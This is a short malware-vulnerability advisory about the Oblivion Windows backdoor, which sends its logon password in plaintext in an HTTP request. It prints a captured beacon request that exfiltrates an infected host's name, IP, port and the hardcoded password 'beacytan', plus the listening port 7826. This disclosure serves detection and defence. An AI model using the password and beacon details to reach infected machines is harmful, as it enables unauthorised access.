Backdoor.Win32.Oblivion.01.a MVID-2022-0658 Insecure Transit

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/aef85cf0d521eaa6aade11f95ea07ebe.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Oblivion.01.a  
Vulnerability: Insecure Transit Password Disclosure  
Description: The malware listens on TCP port 7826 and makes HTTP GET requests to port 80 for "/scripts/WWPMsg.dll". The system logon credentials "Pass=beacytan" are sent plaintext via the URL query string. Third party attackers who can sniff traffic may locate the credentials which can also potentially be leaked to web server logs and or shared systems.  
  
Family: Oblivion  
Type: PE32  
MD5: aef85cf0d521eaa6aade11f95ea07ebe  
Vuln ID: MVID-2022-0658  
Disclosure: 11/18/2022  
  
Exploit/PoC:  
tcpdump  
GET /scripts/WWPMsg.dll?from=Oblivion&[email protected]&subject=User+Online&body=Oblivion+Server+Online!!+[OS=Win]+[ComputerName=DESKTOP-2C4IQJO]+[IP=192.168.18.125]+[Port=7826]+[Pass=beacytan]+[Ver=0.1]&to=121768128 HTTP/1.0" 404 -  
  
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